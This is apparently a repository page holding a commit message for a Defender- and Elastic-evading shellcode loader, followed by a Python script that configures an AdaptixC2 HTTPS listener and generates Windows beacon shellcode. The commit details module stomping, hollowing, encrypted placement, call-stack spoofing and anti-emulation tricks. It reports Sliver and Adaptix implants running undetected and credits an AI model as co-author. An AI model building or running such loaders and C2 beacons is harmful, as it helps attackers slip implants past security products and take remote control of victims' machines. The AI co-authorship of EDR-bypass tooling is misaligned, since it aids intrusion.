Files
xAL6 7adfb71ccd Defender-bypass overhaul: ModuleStomp primary, Ghostly Hollow, encrypted Phantom
Reorganises shellcode placement to route around Defender's 2022-era
MpFilter transaction-aware scanning and the Behavior:Win32/Meterpreter.gen
/ Trojan:Win32/SuspGolang.AM signatures that previously caught every run.

Loader changes
- 4-tier placement (main.c): ModuleStomp -> GhostlyHollow -> PhantomDllHollow
  -> NtAllocate. ModuleStomp now primary because in-memory .text writes
  bypass MpFilter entirely; transaction-based paths are last-resort.
- GhostHollow.c (new): FILE_FLAG_DELETE_ON_CLOSE + SEC_IMAGE placement.
  Section keeps the kernel FILE_OBJECT alive while the disk file is unlinked
  on handle close, so Defender's transactionfile:_{GUID} telemetry path never
  fires. Maldev Academy 2024 technique.
- Phantom.c: shellcode is now XOR-encrypted against a per-build
  INIT_PLACEMENT_XOR_KEY before being written to the transacted file. After
  NtMapViewOfSection succeeds, the mapped .text is flipped RX->RW, decrypted
  in place, then flipped back. Defender's MpFilter sees garbage in the
  in-flight transactional view.
- Stomper.c: PickSacrificialDll picks from a 4-entry per-build allowlist
  (xpsservices / mfreadwrite / dbgcore / mfsensorgroup) with RDTSC-seeded
  Fisher-Yates rotation. Avoids previous msftedit.dll / aadauthhelper.dll /
  amd_comgr.dll choices that are on public Elastic/MDE stomp-target rules.
- Gadgets.c: call-gadget pool extended with dbgcore.dll, dbghelp.dll,
  dsdmo.dll. Almond Offensive Security 2025-11 showed Elastic 9.x callstack
  signatures expect gadget origins primarily in ntdll/kernel32/kernelbase;
  these "weird" sources break return-address baselines.
- Evasion.c: AntiEmulation prologue runs RDTSC determinism check, CPUID
  0x40000000 hypervisor brand check, and API hammering to exhaust mpengine's
  ~200ms wall-clock budget. Bails before any allocation/decryption if running
  inside the Defender emulator. Called from main.c after AntiAnalysis.
- WinApi.c: XorBufferInPlace helper for Phantom/Ghost write-encryption.
- Common.h: new typedef forwards + INIT_PLACEMENT_XOR_KEY length macro.
- build.bat: GhostHollow.c added to both EXE and DLL CFILES.
- Encrypt.py: emits INIT_PLACEMENT_XOR_KEY (16 random bytes per build) and
  the four XSTR_STOMP_DLL_1..4 allowlist entries; XSTR_DELETE_FILE_A added
  for GhostHollow.

Verified
- Defender Get-MpThreatDetection: msfvenom calc / Adaptix beacon / Sliver
  19MB Go implant all run with delta = 0 alerts.
- Sliver session 9cbaff18 checked in via the new path.
- calc demo: WUAssistant-calc-v2.exe pops calc with no Defender telemetry
  (previous version triggered Behavior:Win32/Meterpreter.gen).

Skipped (separate effort)
- Voidmaw streaming decryption (~400 lines, conflicts with existing patchless
  AMSI VEH dispatcher).
- Waiting Thread Hijacking, DllNotif Injection, EDR-Freeze (Priority 3 —
  architectural rewrites).

Tests
- tests/c2-integration/ contains the Docker C2 infrastructure (Sliver +
  AdaptixC2), the per-payload loader test harness, the multi-file HTTPS
  payload server, and the documented demo battery. Binaries / shellcodes /
  certs are gitignored; only source/scripts/docs ship.
- tests/c2-integration/REPORT.md documents the 8-variant test matrix and
  the 7 issues encountered during integration.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-24 12:01:07 +08:00

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Python

#!/usr/bin/env python3
"""
Drive AdaptixC2 server REST API to:
1. Login
2. Create an HTTPS BeaconHTTP listener
3. Generate a Windows x64 raw-shellcode beacon
4. Save shellcode to disk
Run on the host AFTER `docker compose --profile runtime up -d` has started the server.
"""
import argparse
import base64
import json
import secrets
import string
import sys
import time
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_key(n: int = 32) -> str:
return "".join(secrets.choice("0123456789abcdef") for _ in range(n))
def wait_for_server(base: str, timeout: int = 60) -> None:
for _ in range(timeout):
try:
r = requests.get(base, verify=False, timeout=2)
if r.status_code in (200, 401, 404, 405):
return
except requests.RequestException:
pass
time.sleep(1)
raise SystemExit(f"[!] Server at {base} not reachable")
def login(base: str, user: str, password: str) -> str:
r = requests.post(
f"{base}/login",
json={"username": user, "password": password, "version": "v1.2"},
verify=False,
timeout=10,
)
r.raise_for_status()
return r.json()["access_token"]
def create_listener(base: str, headers: dict, name: str, callback_host: str, port: int) -> None:
cfg = {
"host_bind": "0.0.0.0",
"port_bind": port,
"callback_addresses": [f"{callback_host}:{port}"],
"encrypt_key": random_key(32),
"ssl": True,
"http_method": "POST",
"uri": ["/api/v1/status"],
"user_agent": ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"],
"hb_header": "X-Beacon-Id",
"host_header": [],
"request_headers": "",
"server_headers": "",
"x-forwarded-for": False,
"page-error": "<html><head><title>404</title></head><body>404 Not Found</body></html>",
"page-payload": '{"data":"<<<PAYLOAD_DATA>>>"}',
}
r = requests.post(
f"{base}/listener/create",
headers=headers,
json={"name": name, "type": "BeaconHTTP", "config": json.dumps(cfg)},
verify=False,
timeout=15,
)
if r.status_code != 200:
# Ignore "already exists" - we may have run before
if "exist" in r.text.lower():
print(f"[*] Listener {name} already exists")
return
raise SystemExit(f"[!] create_listener failed: {r.status_code} {r.text}")
print(f"[+] Listener {name} created on :{port}")
def generate_beacon(base: str, headers: dict, listener_name: str, out_path: str) -> int:
agent_cfg = {
"os": "windows",
"arch": "x64",
"format": "Shellcode",
"sleep": "4s",
"jitter": 0,
"svcname": "",
"is_killdate": False,
"kill_date": "",
"kill_time": "",
"is_workingtime": False,
"start_time": "",
"end_time": "",
"iat_hiding": False,
"is_sideloading": False,
"sideloading_content": "",
"dns_resolvers": "",
"doh_resolvers": "",
"dns_mode": "",
"user_agent": "",
"use_proxy": False,
"proxy_type": "",
"proxy_host": "",
"proxy_port": 0,
"proxy_username": "",
"proxy_password": "",
"rotation_mode": "sequential",
}
r = requests.post(
f"{base}/agent/generate",
headers=headers,
json={
"listener_name": [listener_name],
"agent": "beacon",
"config": json.dumps(agent_cfg),
},
verify=False,
timeout=120,
)
if r.status_code != 200:
raise SystemExit(f"[!] agent/generate failed: {r.status_code} {r.text}")
body = r.json()
if not body.get("ok"):
raise SystemExit(f"[!] agent/generate not ok: {body}")
name_b64, bytes_b64 = body["message"].split(":")
fname = base64.b64decode(name_b64).decode()
data = base64.b64decode(bytes_b64)
with open(out_path, "wb") as f:
f.write(data)
print(f"[+] Beacon generated: server-name={fname}, saved={out_path}, size={len(data)} bytes")
return len(data)
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--server", default="https://127.0.0.1:4321/endpoint")
ap.add_argument("--username", default="op")
ap.add_argument("--password", default="pass")
ap.add_argument("--listener-name", default="zero-https")
ap.add_argument("--callback-host", default="host.docker.internal",
help="Where the beacon should phone home (reachable from the loader). On Windows host, use the host's LAN IP or host.docker.internal mapped via extra_hosts.")
ap.add_argument("--listener-port", type=int, default=8443)
ap.add_argument("--out", default="adaptix-shellcode.bin")
args = ap.parse_args()
wait_for_server(args.server)
token = login(args.server, args.username, args.password)
print(f"[+] Logged in, token len={len(token)}")
headers = {"Authorization": f"Bearer {token}"}
create_listener(args.server, headers, args.listener_name, args.callback_host, args.listener_port)
size = generate_beacon(args.server, headers, args.listener_name, args.out)
return 0 if size > 0 else 1
if __name__ == "__main__":
sys.exit(main())